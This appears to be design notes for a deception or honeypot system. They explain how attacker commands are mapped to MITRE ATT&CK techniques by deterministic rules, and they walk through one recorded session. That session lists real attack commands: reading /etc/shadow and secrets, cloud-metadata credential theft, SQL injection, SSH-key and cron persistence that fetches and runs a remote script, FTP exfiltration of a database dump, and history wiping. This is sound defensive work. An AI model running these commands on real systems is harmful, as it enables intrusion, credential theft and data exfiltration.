Thetechniquesetiscomputed,notinferred.
Every command in the transcript is matched against a deterministic rule set mapping observed behaviour to MITRE ATT&CK techniques: roughly sixty mappings in the design, nine keyword rules covering six techniques in this build. The same session always produces the same technique list, which is what makes the output usable as evidence rather than as a suggestion.
Why not a model
A model would produce a plausible technique list, and plausible is the wrong property. Techniques feed the case, the campaign correlation and the candidate rules; every one of those needs to be reproducible and explainable to the person reviewing it. A rule that fired can be pointed at. An inference cannot.
How a rule is written
In the design, each rule pairs a match on the observed command or request with a technique id and a weight: the weight is what L2 adds to the score, the technique id is what L6 records, so the score and the technique set can never disagree. This build doesn't have that yet. L2's heuristics and L6's keyword rules are two separate sets, so a technique can be recorded that never moved the score, and the other way round.
What the model does get
In the design, the finished record: techniques, timeline, evidence chain, conversion event. One call, after the session closes, producing a narrative for a human. Nothing downstream reads its output. This build uses a fixed template instead and makes no model call at all.
Worked against one recorded session
Session sess_7f3a91, 24 observations over 257s. Everything below is generated from that transcript by rule. No model touched any of it.
whoamiT1033uname -aT1082id && groupsT1033ls -la /var/wwwT1083cat /etc/passwdT1087.001dpkg -l | head -40T1518ps aux --sort=-%memT1057ip a && cat /etc/resolv.confT1016ss -antpT1049systemctl list-units --type=serviceT1518.001for p in 3306 6379 8080; do nc -zv 10.0.4.* $p; doneT1046find / -perm -4000 -type f 2>/dev/nullT1548.001grep -rIl 'PASSWORD\|SECRET' /srv /optT1552.001cat /srv/app/.envT1552.001find /home -name 'id_*' -o -name '*.pem'T1552.004curl -s 169.254.169.254/latest/meta-data/iam/T1552.005T1090curl 'api.internal/report?id=1%20OR%201=1--'T1190cat /etc/shadowT1003.008mysql -h db.internal -e 'select * from customers'T1552.001echo 'ssh-rsa AAAA...' >> ~/.ssh/authorized_keysT1098.004(crontab -l; echo '*/5 * * * * curl -s x.sh|sh') | crontab -T1053.003curl -T /tmp/dump.sql ftp://185.x.x.x/T1041T1105history -c && rm ~/.bash_historyT1070.003